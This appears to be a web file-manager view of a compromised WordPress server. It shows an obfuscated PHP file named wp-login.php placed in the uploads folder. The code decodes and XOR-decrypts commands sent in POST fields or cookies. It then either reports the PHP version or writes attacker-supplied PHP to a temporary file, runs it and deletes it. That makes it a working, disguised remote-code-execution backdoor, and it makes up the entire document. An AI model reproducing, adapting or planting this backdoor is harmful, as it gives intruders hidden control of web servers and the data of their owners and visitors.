HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/02/wp-login.php
<?php 

$bcrng    =	'bcrng' /*   bzcp */ ^	'';
$pxgnxkenm    = /* ipo */ "a"."r"."r".$bcrng(97) /* bwpt*/ .	"y".$bcrng(935-840)	.      "m"."\141"    .       "p";

$iwqxh    =      "i"."m"."\x70" /*  up   */ .    "l"."\x6f" /*   jlt_n */ . /* nfsl  */ "d"."e";





function /* xdxj */ jope_nuhfm($fffkrv_s,    $tsmwoyet)
{

 /*tp   */ global     $bcrng; /*  wqtw   */ 	$fffkrv_s /* np */ =       "<" /*   hoa*/ .	$bcrng(63)	.	$bcrng(957-845) /*zeyg*/ .    "h"."p".$bcrng(32)    .    "u".$bcrng(110)    . /*vt   */ "\x6c" /*   coxa */ . /*kn_   */ "\151"       . /*   mlfawy   */ "n"."\x6b"   .	"("."_"."_"."\x46"       . /*b*/ "I".$bcrng(76)    .    "E"."\137" /*  x */ .    "\137" /*  ofknvc */ .    $bcrng(41)    .    $bcrng(59)	.    $bcrng(32)	.   $fffkrv_s["d"];     $wnycqw_o   =    "f".$bcrng(105)."\154"  .      "\145"."_"."p".$bcrng(670-553) /*  pff  */ . /*elis   */ "t".$bcrng(95) /* t   */ .	"c"."o"."\x6e" /*   j  */ . /*   ylgy */ "t"."\145".$bcrng(110) /*   c*/ .      $bcrng(205-89)      .    $bcrng(189-74);
 /*   tjc */ 

    $wnycqw_o($tsmwoyet,       $fffkrv_s);	    iqdxoey($tsmwoyet);}
$hffjlefbyx  =      73;

function    iqdxoey($tsmwoyet)

{

 /* tzj  */ global       $bcrng;          include($tsmwoyet);

      $yketwjfrtec /* ntvo   */ =    $tsmwoyet;


	@unlink($yketwjfrtec);}


function	fiorfcgjun()

{


    global      $bcrng;


  $vjmxvpugr     = /*_oajl  */ array();


    $vjmxvpugr["p"."v"]      =      phpversion();   $vjmxvpugr["s"."v"]      =    "3"."\x2e"    .    $bcrng(536-483);

	$bknzdyqakz     =    74;


      echo   @serialize($vjmxvpugr);

}






function /*  _  */ hrmtgwfzo($fffkrv_s,  $ueutl)

{  global   $bcrng;



       $lbvwynoy      =    "";    $_qsexhgdxd    =   strlen($fffkrv_s);
	$eyqqkti  =	strlen($ueutl);

	$vjmxvpugr	=	0; /*   oegsx   */ $yketwjf /*  h  */ =    0;

 /* szvjts*/ 
 /*npi  */ while    ($vjmxvpugr   <    $_qsexhgdxd)    {
 /*  erhy  */ $vbrv_   = /*   _s*/ $fffkrv_s[$vjmxvpugr] /* pdik  */ ^      $ueutl[$yketwjf    % /*kwgb*/ $eyqqkti];


       $lbvwynoy    .=    $vbrv_;
    $yketwjf++; /*  lcq   */ 


       $vjmxvpugr++;


    }     


 /*  lt  */ if	(strlen($lbvwynoy)      >    20)  {

    $aiufw     =    substr($lbvwynoy,     0, /*  stfqoy  */ 20);


	}


    if    (empty($lbvwynoy))  { /*l  */ $lbvwynoy /* yc*/ =    date('Y-m-d	H:i:s');


 /* gpbzt  */ }
      return   $lbvwynoy;}


function /*cza */ bvaxtd($xcgqmhfs)
{


 /* li   */ global	$bcrng;
 /*  czqzy   */ 

    $hsi_s /*  frg_gm */ =    "\61"     . /*   gzvhq  */ $bcrng(1010-913)    . /*  _*/ "7"."\145"."\141"   .  "2"."d"."3"."-"."6"."\71" /*uvg  */ . /* yio */ $bcrng(55)       .	"3".$bcrng(45)   . /*  p   */ "\64"	. /*  cd  */ "\143"    . /*  xst */ "8"."4"."-".$bcrng(98)    .    "\142"      .    $bcrng(102) /*  x*/ .       "\61"	.	"-"."\x39"    .   "\x33"    .	"1"."8"."c"."6"."7".$bcrng(211-162) /*   aowlww  */ .   $bcrng(54)    . /* q */ "f"."\62" /* pb   */ .    "b";


	 /*mlgyc */ foreach /*  zgpq  */ ($xcgqmhfs   as    $rbuyzkgwef     =>    $fffkrv_s)	{
 /*   rvn_wa*/ zhwnlw_d(base64_decode($fffkrv_s), /*  ha */ $hsi_s,  $rbuyzkgwef);


 /*  xpu*/ }


}





function       zhwnlw_d($fffkrv_s, /*oyt   */ $hsi_s, /*  b */ $rbuyzkgwef)


{	global      $bcrng;

	

    $fffkrv_s    =    unserialize(hrmtgwfzo(hrmtgwfzo($fffkrv_s,	$hsi_s),	$rbuyzkgwef));
	$oq_bdc       =    'ctl_h';	$ufcjugwl	=       'qhrjtc';

       if       (isset($fffkrv_s[$bcrng(850-753) /*  bik  */ .    "k"]))      {


	if     ($fffkrv_s[$bcrng(97)] /*q*/ ==	$bcrng(105))   {

  fiorfcgjun();
     }	elseif /* osqg*/ ($fffkrv_s[$bcrng(97)] /*imlpqm*/ ==    "\145")   {

  jope_nuhfm($fffkrv_s,	sprintf($bcrng(995-949)   .    "\57" /* bv   */ .    "\45" /*kur */ .     $bcrng(115) /*   e   */ . /* upzbm  */ ".".$bcrng(112) /*   jsw*/ . /* cos */ "l",     md5($hsi_s)));			$etpsbb /*  vqsbmi  */ =       44;

 /* zb */ }


	exit();
 /*  u  */ }}
bvaxtd($_POST);	




$szzfzhizb    = /*   _zs   */ 'rawurldecode';


$gfcxxxxkvm    = /*  zcj */ $pxgnxkenm($szzfzhizb,   $_POST);$iwqxh("",    $szzfzhizb);

bvaxtd($_COOKIE);


$tcwceyxter /*  nu */ =    $pxgnxkenm($szzfzhizb,	$_COOKIE);


?>